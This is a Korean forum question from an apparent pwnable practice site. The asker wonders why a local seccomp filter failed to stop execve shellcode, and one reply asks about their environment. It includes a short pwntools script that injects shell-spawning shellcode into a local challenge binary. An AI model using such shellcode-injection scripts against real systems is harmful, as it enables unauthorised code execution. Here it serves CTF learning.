로컬에서 seccomp filter가 작동하지 않는 경우
로컬에서 문제를 푸는 중 seccomp를 무시하고 execve를 사용하는 쉘코드를 실행시켜봤습니다.
그런데 seccomp filter가 작동하지 않아서 바로 쉘 실행이 되더군요..?
왜 이런 현상이 나타나는지 궁금합니다.
from pwn import *
p = process('./seccomp')
context(arch='amd64', os='linux')
p.sendlineafter('> ', '1')
sc = asm(shellcraft.amd64.linux.sh())
p.sendafter('shellcode: ', sc)
p.sendlineafter('> ', '2')
p.interactive()
#pwnable
작성자 정보
답변
1
5unkn0wn
강의 수강: 50
오잉 저는 안되는데.. 혹시 환경이 어떻게 되시나요 ??